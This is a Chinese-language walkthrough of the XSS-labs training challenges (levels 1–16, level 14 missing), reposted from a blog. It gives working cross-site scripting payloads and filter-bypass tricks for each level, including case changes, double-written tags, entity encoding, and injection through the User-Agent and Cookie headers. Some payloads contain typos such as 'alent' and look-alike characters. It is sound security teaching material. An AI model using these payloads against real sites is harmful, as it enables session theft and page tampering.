ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

XSS——labs初学者通关技巧(1-16)

2021-10-31 16:31:10  阅读:185  来源: 互联网

标签:语句 XSS xss 16 alert labs 源码 Level 我们


Less-1

进入页面显示的是这个画面

 我们这关用的是最基本的语句之间插入,

<script>alert(1)</script>

 触发xss漏洞

 第一关完成

Less-2

在第二关中我们看到的是这个页面

 在这个关卡中我们按照第一关的做法,发现不能成功

查看网页源码

 其中搜索语句语句被预编译了

也可以打开关卡的源码查看,发现里面被htmlspecialchars函数处理过。

htmlspecialchars函数功能:

把预定义的字符 “<” (小于)和 “>” (大于)转换为 HTML 实体:

我们看到这个页面

 在这里我们可以看到存在input的弹窗

我们在这里进行闭合,后面加上注释

"> <script>alert('xss')</script> //

触发xss漏洞,第二关完成。

Less-3

第三关的页面如下:

 正常触发无法成功

重复上几关的操作我们发现input也被 htmlspecialchars函数处理过

 打开查看网页源码

 我们可以看到其中的value部分被单引号闭合,

而且 htmlspecialchars函数默认不对 ' 生效

这样我们再搜索内输入闭合语句即可生效,以下几个都可以

' onclick='javascript:alert(/xss/)
'onclick='alert(/xss/)
' onm ouseover='javascript:alert(/xss/)
'onmouseover='alert(/xss/)

onmouseover事件会在鼠标指针移动到指定的对象上时触发事件发生。可以结合JS实现一些CSS特效。

这里也涉及到javascript伪协议可以自信上网了解

 输入完成再点击value空白处即可触发xss漏洞

Less-4

我们看到的页面如下:

 按照第一关的思路试探

 上传经典语句,然后查看源码

 我们看橘色字体发现他这里对尖括号进行了转义

但是我们可以看到value部分并没有过滤

我们就可以闭合value部分来实现xss

"onclick="alert(/xss/)

 Level 5

简单的测试一下,<script>alert(1)</script>。

查看源码

 

 看到单引号并没有被转义,

 

这里我们可以发现script部分缺失了一点

我们再试onclick发现也是一样的。

存在函数改变script和onclick

查看php源码会发现他会改变script和on

 这时候我们只能先闭合前面的标签,用  ">

然后因为onclick改变,创造一个没有on的语句

最后就是这个语句

"> <a href="javascript:alert('xss')">

 

Level 6

用基本的语句测试一下

 查看源码

 发现单引号被过滤了,而且script也被改变

 我们试着使用上一关的代码,

 发现herf也被过滤了

我们查看php源码可以看到

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>

 因为str_replace是区分大小写的。

我们改变href的大小写就可以了

"> <a HREF="javascript:alert('xss')">

 

Level 7

一样的测试一下

 我们发现

 script直接变成了空,试着双写绕过

<sscriptcript>alert(1)</sscriptcript>、

 查看源码

发现单引号被过滤 

在value这部分,我们只需要闭合前面的括号就可以了

"><sscriptcript>alert(1)</sscriptcript>

 

Level 8

 我们看见有友情链接

输入基本语句之后,我们可以看到script给过滤了

 我们再试试其他的有没有被过滤

 我们尝试之后可以看到onclick和javascript都被改变了

这里就可以尝试实体化编码绕过或者ur编码绕过

网上可以进行转换查看

转化程度不一样编码也并不一样

javasc&#82;ipt:alert('xss')

 

Level 9

和上一关一样的代码试试

 这里提示连接不合法

猜测应该是匹配相应字符

我们这里就要猜测匹配的字符是什么

打开php源码可以发现匹配的字符是http://

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

那么我们只需要在上一关的基础是加上http://(这里的东西一定要注释掉)

javasc&#82;ipt:alert('111')//http://

Level 10

 这一关只有单独的一张图片,那么我们考虑应该从图片入手

查看源代码

我们可以看到呀三哥隐藏起来的input

 

我们可以看到这三个隐藏起来的语句也不一样,我们尝试用构造函数

构造语句:?keyword=<script>alert(1)</script>&t_link=" type="text"&t_history=" type="text"&t_sort=" type="text"

 我们可以看到t_sort语句可以绕过

keyword="tesr"οnclick="alert(1)&t_sort="type="text" οnclick="alert(1)

 

Level 11

 查看源代码

我们发现value部分可能存在xss,所以用burpsuite抓包,

?keyword=1&t_sort=%22%20οnclick=%22%20alert(/xss/)修改

 然后直接可以完成

Level 12

查看一下源代码

 用burpsuit抓包,看到value里面的值明显就是

 User-Agent里面的的内容

 所以我们这次在 User-Agent里面做手脚

User-Agent: "οnclick="javascript:alent(/xss/)

 放包就可以了

Level 13

 直接抓包

 

我们观察发现cookie的参数到了value里面

所以这次从cookie操作

 Cookie: user=call+me+maybe%3F"οnclick="javascript:alent(/xss/)

 直接放包就可以以了

Level 15

这关需要在php源码里面改一下配置

 https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js被墙了
我们换一个
https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js

开始

查看源码

 我们看到了ng-include

ng-include 指令用于包含外部的 HTML 文件。

包含的内容将作为指定元素的子节点。

ng-include 属性的值可以是一个表达式,返回一个文件名。

默认情况下,包含的文件需要包含在同一个域名下。

可以看到我们提交的参数src的值被插入到了标签的class属性值中,但是前面还有ng-include这样的字符。

这里就是将1.png这个文件给包含进来

 

然后可以构造

?src='level1.php?name=<img src=1 οnerrοr=alert(1)>'

就是访问了第一关,同时执行了xss

 可以自行上网百度onerror事件

onerror 事件

实例

当视频的媒体数据加载期间发生错误时执行 JavaScript :

<video οnerrοr="myFunction()">


定义和用法

onerror 事件在视频/音频(audio/video)数据加载期间发生错误时触发。

提示: 影响媒体数据加载的相关事件有:

 Level 16

 

 

 经典的语句基本都被过滤

空格也被过滤了。也就意味着我们无法通过空间来将字符分隔进行语义的区分,不过我们还可以用回车来将它们分开。

可以用回车的URL编码格式%0a来表示。

?keyword=<img%0asrc="111"%0aοnerrοr=alert('xss')>

 

完成

标签:语句,XSS,xss,16,alert,labs,源码,Level,我们
来源: https://blog.csdn.net/weixin_54072578/article/details/120934111

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有